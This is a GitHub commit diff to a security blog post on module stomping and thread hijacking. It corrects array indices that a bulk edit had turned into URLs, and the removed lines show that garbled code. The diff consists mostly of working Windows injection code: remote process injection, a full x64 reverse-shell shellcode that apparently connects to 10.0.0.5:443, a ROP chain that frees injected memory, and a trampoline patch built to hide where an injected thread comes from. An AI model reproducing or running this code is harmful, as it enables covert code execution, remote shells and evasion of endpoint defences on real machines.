Skip to content

Commit edc6122

Browse files
committed
fix(post): errors in code due to bulk replacements
1 parent 7f51aee commit edc6122

File tree

1 file changed

+39
-38
lines changed

1 file changed

+39
-38
lines changed

_posts/2022-05-13-From stomping to hijacking.md

Lines changed: 39 additions & 38 deletions
Original file line numberDiff line numberDiff line change
@@ -46,8 +46,8 @@ int main(int argc, char *argv[])
4646
HANDLE remoteThread;
4747
PVOID remoteBuffer;
4848

49-
printf("Injecting to PID: %i", atoi(argv(https://github.com/klezVirus/inceptor.git)));
50-
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv(https://github.com/klezVirus/inceptor.git))));
49+
printf("Injecting to PID: %i", atoi(argv[1]));
50+
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
5151
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
5252
WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
5353
remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
@@ -72,6 +72,7 @@ executing it by starting a remote thread in the victim process.
7272
7373
```cpp
7474
75+
7576
# Taken from:
7677
# https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection
7778
# Creadits: @spotheplanet
@@ -97,7 +98,7 @@ int main(int argc, char *argv[])
9798
unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\x0a\x00\x00\x05\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
9899
99100
// inject a benign DLL into remote process
100-
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv(https://github.com/klezVirus/inceptor.git))));
101+
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
101102
//processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 8444);
102103
103104
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof moduleToInject, MEM_COMMIT, PAGE_READWRITE);
@@ -722,7 +723,7 @@ int main()
722723
// Our ROP will be constituted by 7 chunks of 8 bytes each
723724
UCHAR ropChain[N_ROP_GADGETS * 8] = {0};
724725

725-
UINT64 moduleAddresses(https://bruteratel.com/research/feature-update/2021/01/30/OBJEXEC/) = {(UINT64)msvcrtdll, (UINT64)ntdll, (UINT64)kernel32dll};
726+
UINT64 moduleAddresses[3] = {(UINT64)msvcrtdll, (UINT64)ntdll, (UINT64)kernel32dll};
726727

727728
UINT found[N_ROP_GADGETS] = { FALSE };
728729
UINT moduleIndex = 0;
@@ -740,16 +741,16 @@ int main()
740741
// Some indexes are static and can be populated immediately
741742
// The second chunk is the address to free
742743
_Hton((ULONG64)address, ropChain, 1 * 8);
743-
found(https://github.com/klezVirus/inceptor.git) = TRUE;
744+
found[1] = TRUE;
744745
// The fourth chunk is 0
745-
found(https://bruteratel.com/research/feature-update/2021/01/30/OBJEXEC/) = TRUE;
746+
found[3] = TRUE;
746747
// The sixth chunk is MEM_RELEASE
747748
ropChain[5 * 8 + 1] = 0x80;
748-
found(https://twitter.com/Idov31) = TRUE;
749+
found[5] = TRUE;
749750

750751
// The last chunk is VirtualFree address
751752
_Hton((ULONG64)VirtualFreeFunc, ropChain, 6 * 8);
752-
found(https://twitter.com/hasherezade) = TRUE;
753+
found[6] = TRUE;
753754

754755
while (!Finished(found) && moduleIndex < sizeof(moduleAddresses)) {
755756

@@ -771,15 +772,15 @@ int main()
771772
_Hton((ULONG64)moduleMath + x, ropChain, 0 * 8);
772773
found[0] = TRUE;
773774
}
774-
else if (memcmpFunc(moduleMath + x, POP_RDX_RET, 2) == 0 && !found(https://github.com/Idov31/FunctionStomping)) // POP RDX, RET
775+
else if (memcmpFunc(moduleMath + x, POP_RDX_RET, 2) == 0 && !found[2]) // POP RDX, RET
775776
{
776777
_Hton((ULONG64)moduleMath + x, ropChain, 2 * 8);
777-
found(https://github.com/Idov31/FunctionStomping) = TRUE;
778+
found[2] = TRUE;
778779
}
779-
else if (memcmpFunc(moduleMath + x, POP_R8__RET, 3) == 0 && !found(https://github.com/Idov31/FunctionStomping)) // POP R8, RET
780+
else if (memcmpFunc(moduleMath + x, POP_R8__RET, 3) == 0 && !found[4]) // POP R8, RET
780781
{
781782
_Hton((ULONG64)moduleMath + x, ropChain, 4 * 8);
782-
found(https://github.com/Idov31/FunctionStomping) = TRUE;
783+
found[4] = TRUE;
783784
}
784785
}
785786
moduleMath += memInfo.RegionSize;
@@ -872,23 +873,23 @@ int main()
872873

873874
UINT64 target = (UINT64)address;
874875

875-
UCHAR patch(https://offensivedefence.co.uk/posts/module-stomping/) = { 0 };
876+
UCHAR patch[13] = { 0 };
876877
// mov r15, <address>
877878
patch[0] = 0x49;
878-
patch(https://github.com/klezVirus/inceptor.git) = 0xBF;
879+
patch[1] = 0xBF;
879880
// Hton Trampoline Address
880-
patch(https://github.com/Idov31/FunctionStomping) = target & 0x00000000000000ff;
881-
patch(https://bruteratel.com/research/feature-update/2021/01/30/OBJEXEC/) = (target & 0x000000000000ff00) >> 8;
882-
patch(https://github.com/Idov31/FunctionStomping) = (target & 0x0000000000ff0000) >> 16;
883-
patch(https://twitter.com/Idov31) = (target & 0x00000000ff000000) >> 24;
884-
patch(https://twitter.com/hasherezade) = (target & 0x000000ff00000000) >> 32;
885-
patch(https://twitter.com/modexpblog) = (target & 0x0000ff0000000000) >> 40;
886-
patch(https://www.arashparsa.com/bypassing-pesieve-and-moneta-the-easiest-way-i-could-find/) = (target & 0x00ff000000000000) >> 48;
887-
patch(https://twitter.com/waldoirc) = (target & 0xff00000000000000) >> 56;
881+
patch[2] = target & 0x00000000000000ff;
882+
patch[3] = (target & 0x000000000000ff00) >> 8;
883+
patch[4] = (target & 0x0000000000ff0000) >> 16;
884+
patch[5] = (target & 0x00000000ff000000) >> 24;
885+
patch[6] = (target & 0x000000ff00000000) >> 32;
886+
patch[7] = (target & 0x0000ff0000000000) >> 40;
887+
patch[8] = (target & 0x00ff000000000000) >> 48;
888+
patch[9] = (target & 0xff00000000000000) >> 56;
888889
// jmp r15
889-
patch(https://github.com/waldo-irc/YouMayPasser/) = 0x41;
890-
patch(https://blog.f-secure.com/cowspot-real-time-module-stomping-detection/) = 0xFF;
891-
patch(https://twitter.com/_rastamouse) = 0xE7;
890+
patch[10] = 0x41;
891+
patch[11] = 0xFF;
892+
patch[12] = 0xE7;
892893

893894
DWORD oldProtect;
894895

@@ -1000,23 +1001,23 @@ This "trampoline", however, can't be assembled before-hand, as we need to know t
10001001
region, that would be allocated at runtime. To solve the problem, we generate the shellcode in real time.
10011002

10021003
```
1003-
UCHAR patch(https://offensivedefence.co.uk/posts/module-stomping/) = { 0 };
1004+
UCHAR patch[13] = { 0 };
10041005
// mov r15, <address>
10051006
patch[0] = 0x49;
1006-
patch(https://github.com/klezVirus/inceptor.git) = 0xBF;
1007+
patch[1] = 0xBF;
10071008
// Hton Trampoline Address
1008-
patch(https://github.com/Idov31/FunctionStomping) = target & 0x00000000000000ff;
1009-
patch(https://bruteratel.com/research/feature-update/2021/01/30/OBJEXEC/) = (target & 0x000000000000ff00) >> 8;
1010-
patch(https://github.com/Idov31/FunctionStomping) = (target & 0x0000000000ff0000) >> 16;
1011-
patch(https://twitter.com/Idov31) = (target & 0x00000000ff000000) >> 24;
1012-
patch(https://twitter.com/hasherezade) = (target & 0x000000ff00000000) >> 32;
1013-
patch(https://twitter.com/modexpblog) = (target & 0x0000ff0000000000) >> 40;
1014-
patch(https://www.arashparsa.com/bypassing-pesieve-and-moneta-the-easiest-way-i-could-find/) = (target & 0x00ff000000000000) >> 48;
1015-
patch(https://twitter.com/waldoirc) = (target & 0xff00000000000000) >> 56;
1009+
patch[2] = target & 0x00000000000000ff;
1010+
patch[3] = (target & 0x000000000000ff00) >> 8;
1011+
patch[4] = (target & 0x0000000000ff0000) >> 16;
1012+
patch[5] = (target & 0x00000000ff000000) >> 24;
1013+
patch[6] = (target & 0x000000ff00000000) >> 32;
1014+
patch[7] = (target & 0x0000ff0000000000) >> 40;
1015+
patch[8] = (target & 0x00ff000000000000) >> 48;
1016+
patch[9] = (target & 0xff00000000000000) >> 56;
10161017
// jmp r15
1017-
patch(https://github.com/waldo-irc/YouMayPasser/) = 0x41;
1018-
patch(https://blog.f-secure.com/cowspot-real-time-module-stomping-detection/) = 0xFF;
1019-
patch(https://twitter.com/_rastamouse) = 0xE7;
1018+
patch[10] = 0x41;
1019+
patch[11] = 0xFF;
1020+
patch[12] = 0xE7;
10201021
```
10211022

10221023
This trick, in practice, mask the thread source when the shellcode is later executed as a thread,

0 commit comments

Comments
 (0)